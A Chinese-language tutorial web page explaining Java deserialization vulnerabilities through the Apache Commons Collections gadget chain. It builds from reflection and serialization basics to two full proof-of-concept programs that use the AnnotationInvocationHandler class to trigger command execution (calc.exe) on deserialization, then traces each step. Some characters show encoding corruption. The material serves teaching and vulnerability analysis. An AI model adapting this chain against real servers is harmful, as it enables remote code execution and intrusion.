- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- Java中怎么實(shí)現反序列化漏洞
本篇文章為大家展示了Java中怎么實(shí)現反序列化漏洞,內容簡(jiǎn)明扼要并且容易理解,絕對能使你眼前一亮,通過(guò)這篇文章的詳細介紹希望你能有所收獲。
在Java中,可以通過(guò)java.lang.Runtime類(lèi)方便的調用操作系統命令,或者一個(gè)可執行程序。
public class RuntimeTest { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); runtime.exec("calc.exe"); } }
如上代碼,可以打開(kāi)windows系統的計算器。
反射機制允許程序在運行期借助于Reflection API取得任何類(lèi)的內部信息,并能直接操作任意類(lèi)和對象的所有屬性及方法。
要使用一個(gè)類(lèi),就要先把它加載到虛擬機中,在加載完類(lèi)之后,堆內存的方法區中就產(chǎn)生了一個(gè)Class類(lèi)型的對象(一個(gè)類(lèi)只有一個(gè)class對象),這個(gè)對象就包含了完整的類(lèi)的結構信息,我們可以通過(guò)這個(gè)對象看到類(lèi)的結構,這個(gè)對象就像一面鏡子,透過(guò)鏡子可以看到類(lèi)的結構,所以形象的稱(chēng)之為:反射。
反射中會(huì )經(jīng)常使用到的方法:
1、獲取Class實(shí)例的方式 方式1:調用運行時(shí)類(lèi)的屬性 .class 方式2:通過(guò)運行時(shí)的對象調用getClass() 方式3:調用Class的靜態(tài)方法:forName(String classPath) 方式4:使用類(lèi)的加載器 classloader 2、創(chuàng )建運行時(shí)類(lèi)的對象 newInstance() 調用此方法,創(chuàng )建對應的運行時(shí)類(lèi)的對象 3、獲取運行時(shí)類(lèi)的結構 getFields() 獲取當前運行時(shí)類(lèi)及其父類(lèi)中聲明為public訪(fǎng)問(wèn)權限的屬性 getDeclaredFields() 獲取當前運行時(shí)類(lèi)中聲明的所有屬性,不包含父類(lèi) getMethods() 獲取當前運行時(shí)類(lèi)及其所有父類(lèi)聲明為public的方法 getDeclaredMethods() 獲取當前運行時(shí)類(lèi)中聲明的方法,不包含父類(lèi) getConstructors() 獲取當前運行時(shí)類(lèi)聲明為public的構造器 getDeclaredConstructors() 獲取當前運行時(shí)類(lèi)中聲明的所有構造器 invoke()方法允許調用包裝在當前Method對象中的方法
反射示例:
如下代碼中,Object i = m1.invoke(r1, 1, 2)的作用是:使用r1調用m1獲得的對象所聲明的公開(kāi)方法即print,并將int類(lèi)型的1,2作為參數傳入。
import java.lang.reflect.Method; public class test { public static void main(String[] args) { Reflect r1=new Reflect(); //通過(guò)運行時(shí)的對象調用getClass(); Class c=r1.getClass(); try { //getMethod(方法名,參數類(lèi)型) //getMethod第一個(gè)參數是方法名,第二個(gè)參數是該方法的參數類(lèi)型 //因為存在同方法名不同參數這種情況,所以只有同時(shí)指定方法名和參數類(lèi)型才能唯一確定一個(gè)方法 Method m1 = c.getMethod("print", int.class, int.class); //相當于r1.print(1, 2);方法的反射操作是用m1對象來(lái)進(jìn)行方法調用 和r1.print調用的效果完全相同 //使用r1調用m1獲得的對象所聲明的公開(kāi)方法即print,并將int類(lèi)型的1,2作為參數傳入 Object i = m1.invoke(r1, 1, 2); }catch (Exception e){ e.printStackTrace(); } } } class Reflect{ public void print(int a,int b){ System.out.println(a+b); } }
使用反射機制執行命令:
此處invoke(runtime,"calc.exe")的作用為:使用runtime調用獲得的Method對象所聲明的公開(kāi)方法即exec,并將calc.exe作為參數傳入,而runtime為獲取的Runtime.getRuntime實(shí)例對象。因此,此處代碼相當于執行了Runtime.getRuntime( ).exec("calc.exe")。
熟悉這塊的操作,后面會(huì )以此完成攻擊鏈:
public class RuntimeTest { public static void main(String[] args) throws Exception { //forName(類(lèi)名) 獲取類(lèi)名對應的Class對象,同時(shí)將Class對象加載進(jìn)來(lái)。 //getMethod(方法名,參數類(lèi)型列表) 根據方法名稱(chēng)和相關(guān)參數,來(lái)定位需要查找的Method對象并返回。 //invoke(Object obj,Object...args) invoke允許調用包裝在當前Method對象中的方法 Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //獲取一個(gè)Runtime的實(shí)例對象 //調用Runtime實(shí)例對象的exec()方法,并將calc.exe作為參數傳入 Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc.exe"); } }
如上,通過(guò)Java反射機制打開(kāi)windows的計算器。
Java中為什么要使用反射機制,直接創(chuàng )建對象不是更方便?
如果有多個(gè)類(lèi),每個(gè)用戶(hù)所需求的對象不同,直接創(chuàng )建對象,就要不斷的去new一個(gè)對象,非常不靈活。而java反射機制,在運行時(shí)確定類(lèi)型,綁定對象,動(dòng)態(tài)編譯最大限度發(fā)揮了java的靈活性。
Java序列化是指把Java對象轉換為字節序列的過(guò)程,便于保存在內存、文件、數據庫中。
即:對象—>字節流 (序列化)
Java反序列化即序列化的逆過(guò)程,由字節流還原成對象。
即:字節流—>對象(反序列化)
序列化的好處在于可將任何實(shí)現了Serializable接口的對象轉換為字節數據,使其保存和傳輸時(shí)可被還原。
反序列化的操作函數:
java.io.ObjectOutputStream類(lèi)中的writeObject( )方法可以實(shí)現Java序列化。
java.io.ObjectInputStream類(lèi)中的readObject( )方法可以實(shí)現Java反序列化。
想一個(gè)Java對象是可序列化的,需要滿(mǎn)足相應的要求:
1、實(shí)現Serializable接口或Externalizable接口 2、當前類(lèi)提供一個(gè)全局常量 serialVersionUID 3、必須保證其內部所有屬性也必須是可序列化的(默認情況下,基本數據類(lèi)型可序列化) 4、ObjectInputStream和ObjectOutputStream不能序列化static和transient修飾的成員變量
Java反序列化示例:
import java.io.*; public class Serialize { public static void main(String[] args) throws Exception { //序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hello.txt")); oos.writeObject(new String("序列化")); oos.close(); //反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hello.txt")); Object o = ois.readObject(); String s = (String) o; ois.close(); System.out.println(s); } }
反序列化漏洞成因:
序列化指把Java對象轉換為字節序列的過(guò)程,反序列化就是打開(kāi)字節流并重構對象,那如果即將被反序列化的數據是特殊構造的,就可以產(chǎn)生非預期的對象,從而導致任意代碼執行。
Java中間件通常通過(guò)網(wǎng)絡(luò )接收客戶(hù)端發(fā)送的序列化數據,而在服務(wù)端對序列化數據進(jìn)行反序列化時(shí),會(huì )調用被序列化對象的readObject( )方法。而在Java中如果重寫(xiě)了某個(gè)類(lèi)的方法,就會(huì )優(yōu)先調用經(jīng)過(guò)修改后的方法。如果某個(gè)對象重寫(xiě)了readObject( )方法,且在方法中能夠執行任意代碼,那服務(wù)端在進(jìn)行反序列時(shí),也會(huì )執行相應代碼。
如果能夠找到滿(mǎn)足上述條件的對象進(jìn)行序列化并發(fā)送給Java中間件,Java中間件也會(huì )去執行指定的代碼,即存在反序列化漏洞。
Java集合框架是對多個(gè)數據進(jìn)行存儲操作的結構,其主要分為Collection和Map兩種體系:
Collection接口:?jiǎn)卫龜祿?,定義了存取一組對象的方法的集合 Map接口:雙列數據,保存具有映射關(guān)系“Key-value”的集合
Apache Commons Collections:一個(gè)擴展了Java標準庫里集合框架的第三方基礎庫。它包含有很多jar工具包如下圖所示,它提供了很多強有力的數據結構類(lèi)型并且實(shí)現了各種集合工具類(lèi)。
Apache Commons Collections反序列化漏洞的主要問(wèn)題在于Transformer這個(gè)接口類(lèi),Transformer類(lèi)可以滿(mǎn)足固定的類(lèi)型轉化需求,其轉化函數可以自定義實(shí)現,漏洞點(diǎn)就在這里。
目前已知實(shí)現了Transformer接口的類(lèi),如下所示。而在A(yíng)pache Commons Collections反序列漏洞中,會(huì )使用到ChainedTransformer、ConstantTransformer、InvokerTransformer這三個(gè)類(lèi),這些類(lèi)的具體作用我們在下面結合POC來(lái)看。在遠程調用前,我們先看本地的POC:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class ApacheSerialize1 { public static void main(String[] args) throws Exception { //1、創(chuàng )建Transformer型數組,構建漏洞核心利用代碼 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //2、將transformers數組存入ChaniedTransformer類(lèi) Transformer transformerChain = new ChainedTransformer(transformers); //3、創(chuàng )建Map,給予map數據轉化鏈 Map innerMap = new HashMap(); innerMap.put("key", "value"); //給予map數據轉化鏈,該方法有三個(gè)參數: // 第一個(gè)參數為待轉化的Map對象 // 第二個(gè)參數為Map對象內的key要經(jīng)過(guò)的轉化方法(可為單個(gè)方法,也可為鏈,也可為空) // 第三個(gè)參數為Map對象內的value要經(jīng)過(guò)的轉化方法(可為單個(gè)方法,也可為鏈,也可為空) Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); //4、觸發(fā)漏洞利用鏈,利用漏洞 onlyElement.setValue("test"); } }
該POC從上至下大致分為四點(diǎn),我們以此四點(diǎn)為基礎進(jìn)行分析:
1、創(chuàng )建transformers數組,構建漏洞核心利用代碼。
2、將transformers數組存入ChaniedTransformer類(lèi)。
3、創(chuàng )建Map,給予map數據轉化鏈
4、觸發(fā)漏洞利用鏈,利用漏洞
此處創(chuàng )建了一個(gè)Transformer類(lèi)型的數組,其中創(chuàng )建了四個(gè)對象。這四個(gè)對象分別使用了ConstantTransforme和InvokerTransformer兩個(gè)類(lèi)。
ConstantTransformer:把一個(gè)對象轉化為常量,并返回。
InvokerTransformer:通過(guò)反射,返回一個(gè)對象。
代碼如下:
此處,先不研究里面的具體參數有何作用,只需明確此處創(chuàng )建了一個(gè)Transformer類(lèi)型的數組,其中創(chuàng )建了四個(gè)對象,我們接著(zhù)往下看。
此處創(chuàng )建了一個(gè)ChainedTransformer對象,并將transformers數組作為參數傳入。
ChainedTransformer類(lèi):把一些transformer鏈接到一起,構成一組鏈條,對一個(gè)對象依次通過(guò)鏈條內的每一個(gè)transformer進(jìn)行轉換。
繼續往下看。
此處代碼較多,我們拆開(kāi)看。
先是創(chuàng )建Map類(lèi),添加了一組數據("key", "value")。前文有提到,Map是具有映射關(guān)系 Key-value的集合,一個(gè)鍵值對:kay-value構成了一個(gè)Entry對象。
接著(zhù)是給予map實(shí)現類(lèi)的數據轉化鏈。而在A(yíng)pache Commons Collections中實(shí)現了TransformedMap類(lèi),該類(lèi)可以在一個(gè)元素被添加/刪除/或是被修改時(shí),會(huì )調用transform方法自動(dòng)進(jìn)行特定的修飾變換,具體的變換邏輯由Transformer類(lèi)定義。即就是當數據發(fā)生改變時(shí),可以進(jìn)行一些提前設定好的操作。
也就是說(shuō),此處的代碼是給予Map數據轉化鏈,當Map里的數據發(fā)生改變時(shí),會(huì )進(jìn)行轉換鏈設定好的操作,如下有三個(gè)參數:
此處TransformedMap調用了decorate( )方法,創(chuàng )建了TransformedMap對象。參數1 ,innerMap作為參數調用了父類(lèi)AbstractInputCheckedMapDecorator的構造函數,保存為this.map變量。參數2為null。參數3,transformerChain被初始化為this.valueTransformer變量。
TransformedMap類(lèi)相關(guān)代碼如下:
然后獲取outerMap的第一個(gè)鍵值對(key,value),然后轉化成Map.Entry形式,前文也提到一個(gè)kay-value構成一個(gè)Entry對象。
最后利用Map.Entry取得第一個(gè)值,調用修改值的函數,觸發(fā)下面的setValue( )代碼。
接著(zhù)上面分析,繼續跟進(jìn)setValue( )函數,會(huì )進(jìn)入到AbstractInputCheckedMapDecorator類(lèi)。此時(shí)setValue( )方法會(huì )檢查要被修改的元素,進(jìn)入到TransformedMap的轉換鏈。
跟進(jìn)setValue()里的this.parent.checkSetValue(value),跳到TransoformedMap類(lèi),this.parent為T(mén)ransformedMap類(lèi)的對象outerMap。
AbstractInputCheckedMapDecorator類(lèi)相關(guān)代碼如下:
跳到TransoformedMap類(lèi)。
此時(shí)的this.valueTransformer就是transformerChain,之后就會(huì )觸發(fā)漏洞利用鏈。而transformerChain就是在上面POC第二點(diǎn)代碼生成的ChainedTransformer對象,其中傳入了transformers數組,transformers數組為POC第一點(diǎn)構造的漏洞利用核心代碼。
TransoformedMap類(lèi)相關(guān)代碼如下:
由于valueTransformer為transformerChain,因此上面代碼中的this.valueTransformer.transform(value)會(huì )調用ChainedTransformer類(lèi)的transform方法。
此時(shí)我們構造好的含有利用代碼的transformers數組會(huì )循環(huán)進(jìn)入此處,先調用1次ConstantTransformer類(lèi),再調用3次InvokerTransformer類(lèi)。
需要注意在數組的循環(huán)中,前一次transform函數的返回值,會(huì )作為下一次transform函數的object參數輸入。
ChainedTransformer類(lèi)相關(guān)代碼如下:
第一次循環(huán):
首先是去調用ConstantTransformer類(lèi)的transform方法,將Runtime.class保存為this.iConstant變量,并將返回值作為下一次transform函數的object參數輸入。
ConstantTransformer類(lèi)相關(guān)代碼如下:
第二次循環(huán):
調用InvokerTransformer類(lèi)的transform( )方法,此時(shí)transform的object參數,即java.lang.Runtime。
先看InvokerTransformer的構造函數:
第一個(gè)是字符串,是調用的方法名
第二個(gè)是個(gè)Class數組,是方法的參數的類(lèi)型
第三個(gè)是Object數組,是方法的參數的具體值
進(jìn)入到InvokerTransformer類(lèi)的transform方法,非常明顯的反射機制。此處,input為transform的object參數為java.Lang.Runtime。
此處就相當于:
method = input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});
即java.Lang.Runtime.getMethod("getRuntime",null),返回一個(gè)Runtime.getRuntime( )方法,相當于產(chǎn)生一個(gè)字符串,但還沒(méi)有執行"Rumtime.getRuntime( );"。
第三次循環(huán):
同樣進(jìn)入到InvokerTransformer類(lèi)的transform( )方法,input為上次循環(huán)的返回值Runtime.getRuntime( )。
此時(shí)就相當于:
method = input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()", new Object[] {null, new Object[0]});
即Runtime.getRuntime( ).invoke(null)
,那么會(huì )返回一個(gè)Runtime對象實(shí)例。相當于執行了完成了:
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
第四次循環(huán):
同樣進(jìn)入到InvokerTransformer類(lèi)的transform方法,input為上次循環(huán)的返回值Runtime.getRuntime( ).invoke(null)。
此時(shí)就相當于:
method = input.getClass().getMethod("exec", new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});
即Runtime.getRuntime( ).exec("calc.exe")。至此成功完成漏洞利用鏈,執行系統命令語(yǔ)句,觸發(fā)漏洞。
最后整理整個(gè)過(guò)程:
1、transform數組里面含有4個(gè)實(shí)現了Transformer接口的對象,這四個(gè)對象都重寫(xiě)了transform()方法
2、ChianedTransformer里面裝了4個(gè)transform,ChianedTransformer也實(shí)現了Transformer接口,同樣重寫(xiě)了transform()方法
3、TransoformedMap綁定了ChiandTransformer,給予map數據轉化鏈,當map里的數據進(jìn)行修改時(shí),需經(jīng)過(guò)ChiandTransformer轉換鏈
4、利用TransoformedMap的setValue修改map數據,觸發(fā)ChiandTransformer的transform()方法
5、ChianedTransformer的transform是一個(gè)循環(huán)調用該類(lèi)里面的transformer的transform方法
loop 1:第一次循環(huán)調用ConstantTransformer("java.Runtime")對象的transformer方法,調用參數為"test"(正常要修改的值),返回了java.Runtime作為下一次循環(huán)的object參數
loop 2:第二次循環(huán)調用InvokerTransformer對象的transformer,參數為("java.Runtime"),包裝Method對象"getMethod"方法,invoke方法獲得對象所聲明方法"getRuntime",利用反射,返回一個(gè)Rumtime.getRuntime()方法
loop 3:第三次循環(huán)調用InvokerTransformer對象的transformer,參數為("Rumtime.getRuntime()"),包裝Method對象"invoke"方法,利用反射,返回一個(gè)Rumtime.getRuntime()實(shí)例
loop 4:第四次循環(huán)調用InvokerTransformer對象的transformer,參數為一個(gè)Runtime的對象實(shí)例,包裝Method對象"exec"方法,invoke方法獲得對象所聲明方法"calc.exe",利用反射,執行彈出計算器操作
目前的POC只是被執行了,我們要利用此漏洞,就需要通過(guò)網(wǎng)絡(luò )傳輸payload,在服務(wù)端對我們傳過(guò)去的payload進(jìn)行反序列時(shí)執行代碼。而且該POC的關(guān)鍵依賴(lài)于Map中某一項去調用setValue( ) ,而這完全不可控。
因此就需要尋找一個(gè)可序列化類(lèi),該類(lèi)重寫(xiě)了readObject( )方法,并且在readObject( )中進(jìn)行了setValue( ) 操作,且這個(gè)Map變量是可控的。需要注意的時(shí),在java中如果重寫(xiě)了某個(gè)類(lèi)的方法,就會(huì )優(yōu)先調用經(jīng)過(guò)修改后的方法。
在java中,確實(shí)存在一個(gè)類(lèi)AnnotationInvocationHandler,該類(lèi)重寫(xiě)了readObject( )方法,并且執行了setValue( )操作,且Map變量可控,如果可以將TransformedMap裝入這個(gè)AnnotationInvocationHandler類(lèi),再傳過(guò)去,服務(wù)端在對其進(jìn)行反序列化操作時(shí),就會(huì )觸發(fā)漏洞。最后利用的payload如下:
package Serialize; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class ApacheSerialize implements Serializable { public static void main(String[] args) throws Exception{ //transformers: 一個(gè)transformer鏈,包含各類(lèi)transformer對象(預設轉化邏輯)的轉化數組 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; //transformedChain: ChainedTransformer類(lèi)對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作 Transformer transformerChain = new ChainedTransformer(transformers); //Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類(lèi)比于python的dict Map map = new HashMap(); map.put("value", "test"); //Map數據結構,轉換后的Map /* TransformedMap.decorate方法,預期是對Map類(lèi)的數據結構進(jìn)行轉化,該方法有三個(gè)參數。 第一個(gè)參數為待轉化的Map對象 第二個(gè)參數為Map對象內的key要經(jīng)過(guò)的轉化方法(可為單個(gè)方法,也可為鏈,也可為空) 第三個(gè)參數為Map對象內的value要經(jīng)過(guò)的轉化方法。 */ //TransformedMap.decorate(目標Map, key的轉化對象(單個(gè)或者鏈或者null), value的轉化對象(單個(gè)或者鏈或者null)); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); //反射機制調用AnnotationInvocationHandler類(lèi)的構造函數 //forName 獲得類(lèi)名對應的Class對象 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通過(guò)反射調用私有的的結構:私有方法、屬性、構造器 //指定構造器 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消構造函數修飾符限制,保證構造器可訪(fǎng)問(wèn) ctor.setAccessible(true); //獲取AnnotationInvocationHandler類(lèi)實(shí)例 //調用此構造器運行時(shí)類(lèi)的對象 Object instance=ctor.newInstance(Target.class, transformedMap); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close(); System.out.println(result); } }
可以觸發(fā)。
我們來(lái)研究最終payload新加的部分:
新加部分代碼的前四部分不是很難理解。使用反射去調用AnnotationInvocationHandler類(lèi),并且指定了具體參數類(lèi)型為(Class.class, Map.class)的構造器。之后再使用newInstance調用指定構造器運行時(shí)類(lèi)的對象,并將(Target.class, transformedMap)作為參數傳入。
查看AnnotationInvocationHandler類(lèi),反射調用的構造器如下:
其中var1為T(mén)arget.class,var2為transformedMap,var1.getInterfaces( )為獲取當前類(lèi)顯式實(shí)現的接口,即獲取Target類(lèi)顯式實(shí)現的接口。
Target類(lèi)使用了@interface自定義注解,而@interface自定義注解自動(dòng)繼承了java.lang.annotation.Annotation這一個(gè)接口,由編譯程序自動(dòng)完成其他細節。因此符合if語(yǔ)句判斷,生成AnnotationInvocationHandler類(lèi)實(shí)例。
Target類(lèi)代碼如下:
進(jìn)入payload序列化和反序列部分,主要是看反序列化的readObject( )部分,打開(kāi)字節流并重構對象,此時(shí)的對象即AnnotationInvocationHandler類(lèi)實(shí)例。
前文提到在java中如果重寫(xiě)了某個(gè)類(lèi)的方法,就會(huì )優(yōu)先調用經(jīng)過(guò)修改后的方法,而AnnotationInvocationHandler類(lèi)重寫(xiě)了readObject( )方法,因此反序列化時(shí)會(huì )優(yōu)先調用該類(lèi)中的readObject( )方法。
跟進(jìn)AnnotationInvocationHandler類(lèi)的readObject( )方法,此時(shí)的var1為實(shí)例化的AnnotationInvocationHandler類(lèi)對象,之后會(huì )觸發(fā)setValue( )造成命令執行。
AnnotationInvocationHandler類(lèi)相關(guān)代碼如下:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { .................... AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { //this.type為T(mén)arget.class this.type = var1; //this.memberValues為transformedMap this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } } ....................... private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { //1、defaultReadObject(),從var1讀取當前類(lèi)的非靜態(tài)和非瞬態(tài)字段 var1.defaultReadObject(); AnnotationType var2 = null; try { //this.type為實(shí)例化時(shí)傳入的Target.class //2、getInstance獲取到@Target類(lèi)的方法等基本信息。 var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } //3、獲取到Target類(lèi)的注解元素 即{value:ElementType}鍵值對 Map var3 = var2.memberTypes(); //4、this.memberValues為實(shí)例化時(shí)傳入的transformedMap,獲取構造map的迭代器 Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { //獲取到map的第一個(gè)鍵值對 {value:test} Entry var5 = (Entry)var4.next(); //獲取到map第一個(gè)鍵值對 {value:test}的key 即value String var6 = (String)var5.getKey(); //從@Target的注解元素 {value:ElementType}鍵值對中去尋找鍵名為value的值 Class var7 = (Class)var3.get(var6); if (var7 != null) { //獲取到map第一個(gè)鍵值對 {value:test}的value 即test Object var8 = var5.getValue(); //isInstance表示var8是否能強轉為var7 instanceof表示var8是否為ExceptionProxy類(lèi)型 //兩個(gè)都為否,進(jìn)入到if條件語(yǔ)句內部 if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //觸發(fā)setValue var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } }
至此,完成漏洞利用。
在測試的時(shí)候,未使用AnnotationInvocationHandler類(lèi)時(shí),map可以put時(shí)key可以隨意設置,如上文POC中的map.put("key", "value")。
但在調用AnnotationInvocationHandler類(lèi)時(shí)就必須設置為value。
主要原因如下:
需要注意的是在A(yíng)nnotationInvocationHandler類(lèi)相關(guān)代碼的var2 = AnnotationType.getInstance(this.type)部分,this.type為實(shí)例化時(shí)傳入的Target.class。
跟進(jìn),進(jìn)入到AnnotationType類(lèi)的getInstance( )方法,其中var2為var1返回該元素Target類(lèi)型的注釋?zhuān)鴙ar1中沒(méi)有此注釋?zhuān)祷豱ull,進(jìn)入到判斷語(yǔ)句,此時(shí)會(huì )實(shí)例化一個(gè)AnnotationType對象,并將var0作為參數傳入。
繼續跟進(jìn)AnnotationType類(lèi)的AnnotationType( ),其中var1為T(mén)arget.class,此時(shí)獲取的Target類(lèi)的全部方法等基本信息,其中this.memberTypes為獲取到的Target類(lèi)的全部方法,而Target.class只定義了一個(gè)名為value的方法(快捷方式,限制了元素名必須為value)。
public class AnnotationType { ................... private AnnotationType(final Class<? extends Annotation> var1) { if (!var1.isAnnotation()) { throw new IllegalArgumentException("Not an annotation type"); } else { //獲取到Target.class的全部方法 Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { return var1.getDeclaredMethods(); } }); //底層創(chuàng )建了長(cháng)度是var2長(cháng)度加1的一維數組,加載因子為1.0(擴容時(shí)才會(huì )用到) this.memberTypes = new HashMap(var2.length + 1, 1.0F); this.memberDefaults = new HashMap(0); this.members = new HashMap(var2.length + 1, 1.0F); Method[] var3 = var2; int var4 = var2.length; //遍歷var2,即獲取到的Target.class的全部方法 for(int var5 = 0; var5 < var4; ++var5) { Method var6 = var3[var5]; if (var6.getParameterTypes().length != 0) { throw new IllegalArgumentException(var6 + " has params"); } //獲取方法的名稱(chēng) String var7 = var6.getName(); //獲取方法的返回值類(lèi)型 Class var8 = var6.getReturnType(); //將方法的名稱(chēng)和返回值類(lèi)型以鍵值對的形式傳入 //Target.class只有一個(gè)方法{value:ElementType} this.memberTypes.put(var7, invocationHandlerReturnType(var8)); this.members.put(var7, var6); Object var9 = var6.getDefaultValue(); if (var9 != null) { this.memberDefaults.put(var7, var9); } } if (var1 != Retention.class && var1 != Inherited.class) { JavaLangAccess var10 = SharedSecrets.getJavaLangAccess(); Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class}); Retention var12 = (Retention)var11.get(Retention.class); this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value(); this.inherited = var11.containsKey(Inherited.class); } else { this.retention = RetentionPolicy.RUNTIME; this.inherited = false; } } } ....................... public Map<String, Class<?>> memberTypes() { return this.memberTypes; } ....................... }
根據上面代碼追蹤到,this.memberTypes為獲取到的Target.class的全部方法,可以看到主要在String var6 = (String)var5.getKey( )為獲取到map第一個(gè)鍵值對{value:test}的key即value,var7會(huì )從獲取到Target的全部方法{value:ElementType}鍵值對中去尋找鍵名為var6的值,如果獲取不到就不會(huì )進(jìn)入到setValue( )方法,因此必須設置map的key為value。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { .................... //3、獲取到Target類(lèi)的注解元素 即{value:ElementType}鍵值對 Map var3 = var2.memberTypes(); //4、獲取構造map的迭代器 Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { //獲取到map的第一個(gè)鍵值對 {value:test} Entry var5 = (Entry)var4.next(); //獲取到map第一個(gè)鍵值對 {value:test}的key 即value String var6 = (String)var5.getKey(); //從獲取到Target的全部方法 {value:ElementType}鍵值對中去尋找鍵名為value的值 Class var7 = (Class)var3.get(var6); if (var7 != null) { //獲取到map第一個(gè)鍵值對 {value:test}的value 即test Object var8 = var5.getValue(); //isInstance表示var8是否能強轉為var7 instanceof表示var8是否為ExceptionProxy類(lèi)型 //兩個(gè)都為否,進(jìn)入到if條件語(yǔ)句內部 if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //觸發(fā)setValue var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } .................... }
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站